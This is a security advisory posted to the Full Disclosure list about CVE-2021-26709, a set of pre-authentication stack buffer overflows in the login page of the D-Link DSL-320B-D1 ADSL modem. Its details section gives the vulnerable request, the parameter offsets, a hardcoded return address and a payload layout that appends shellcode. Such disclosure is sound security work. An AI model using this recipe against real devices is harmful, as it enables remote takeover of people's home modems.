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Date: Thu, 8 Apr 2021 10:18:09 +0200
From: Gabriele Gristina <>
Subject: [FD] CVE-2021-26709 - Multiple Pre-Auth Stack Buffer Overflow in
 D-Link DSL-320B-D1 ADSL Modem

Hash: SHA512

Multiple Pre-Auth Stack Buffer Overflow in D-Link DSL-320B-D1 ADSL Modem

======== < Table of Contents > =========================================

0. Overview
1. Details
2. Solution
3. Disclosure Timeline
4. Thanks & Acknowledgements
5. References
6. Credits
7. Legal Notices

======== < 0. Overview > ===============================================

Release Date: 7 March 2021

Revision: 1.0


The ADSL modem DSL-320B-D1, version EU_1.25 and lower, is affected to
multiple Stack Buffer Overflows that allow unauthenticated remote
attackers to takeover the device.

Severity: Critical

CVSS Score: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVE-ID: CVE-2021-26709

Vendor: D-Link

Affected Products: DSL-320B-D1

Affected Versions: EU_1.25 and lower

======== < 1. Details > ================================================

During a Penetration Test it was possible to identify and exploit
multiple Stack Buffer Overflows (1) in the D-Link DSL-320B-D1 ADSL modem
,a now legacy model, which is distributed in the past by Telecom Italia
on loan for use together with the residential ADSL line.

The vulnerabilities are present in the login functionality, exposed by
"login.xgi" with "user" and "pass" parameters.

GET /login.xgi?user=" + payload + "&pass=abcde HTTP/1.1\nHost: " +
host + "\n\n"

To exploit the vulnerability using "user" parameter, you need
construct the payload like the following:

OFFSET = 652
ADDR = 0x7ffe8ab0

payload = "A"*OFFSET
payload += pack(">I", ADDR)
payload += shellcode

While the "pass" parameter uses 641 as offset.

The payload must be passed as parameter value in a GET request.

You can found a working shellcode here:

You will have to change the ip/port to match your network configuration.

Using ROP is possible to avoid to use the hardcoded addresses.

======== < 2. Solution > ===============================================

Refer to D-Link Support Announcements "SAP10216" for details (2).

======== < 3. Disclosure Timeline > ====================================

09/01/2021 : Discovery of the vulnerability
23/01/2021 : Vulnerability submitted to vendor
25/01/2021 : Vendor request more info about exploit the vulnerabilities
27/01/2021 : Sent details to vendor
01/02/2021 : Request status update to the vendor
13/02/2021 : Sent CVE assigned by mitre to vendor
13/02/2021 : Vendor response, analysis in progress
30/03/2021 : Request status update to the vendor
30/03/2021 : Vendor confirm the vulnerabilities
07/04/2021 : Public disclosure

======== < 4. Thanks & Acknowledgements > ==============================


======== < 5. References > =============================================


======== < 6. Credits > ================================================

This vulnerability was discovered and reported by:

Gabriele 'matrix' Gristina (gabriele DOT gristina AT gmail DOT com)


======== < 7. Legal Notices > ==========================================

Copyright (c) 2021 Gabriele 'matrix' Gristina

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information.
Use of the information constitutes acceptance for use in an AS IS
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of,
or reliance on,this information.



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